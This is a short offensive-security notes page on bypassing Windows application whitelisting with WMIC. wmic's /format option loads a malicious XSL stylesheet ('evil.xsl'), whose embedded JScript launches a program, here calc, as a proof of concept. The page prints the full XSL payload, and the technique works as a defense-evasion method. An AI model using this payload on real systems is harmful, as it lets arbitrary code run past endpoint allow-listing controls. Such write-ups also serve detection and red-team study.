offensive security
Application Whitelisting Bypass with WMIC and XSL
Another application whitelist bypassing technique discovered by Casey @subTee, similar to squiblydoo:
Execution
Define the XSL file containing the jscript payload:
evil.xsl
1
<?xml version='1.0'?>
2
<stylesheet
3
xmlns="http://www.w3.org/1999/XSL/Transform" xmlns:ms="urn:schemas-microsoft-com:xslt"
4
xmlns:user="placeholder"
5
version="1.0">
6
<output method="text"/>
7
<ms:script implements-prefix="user" language="JScript">
8
<![CDATA[
9
var r = new ActiveXObject("WScript.Shell").Run("calc");
10
]]> </ms:script>
11
</stylesheet>
Copied!
Invoke any wmic command now and specify /format pointing to the evil.xsl:
Observation
Calculator is spawned by svchost.exe:
References
http://subt0x11.blogspot.com/2018/04/wmicexe-whitelisting-bypass-hacking.html
subt0x11.blogspot.com
​
Last modified 3yr ago
Copy link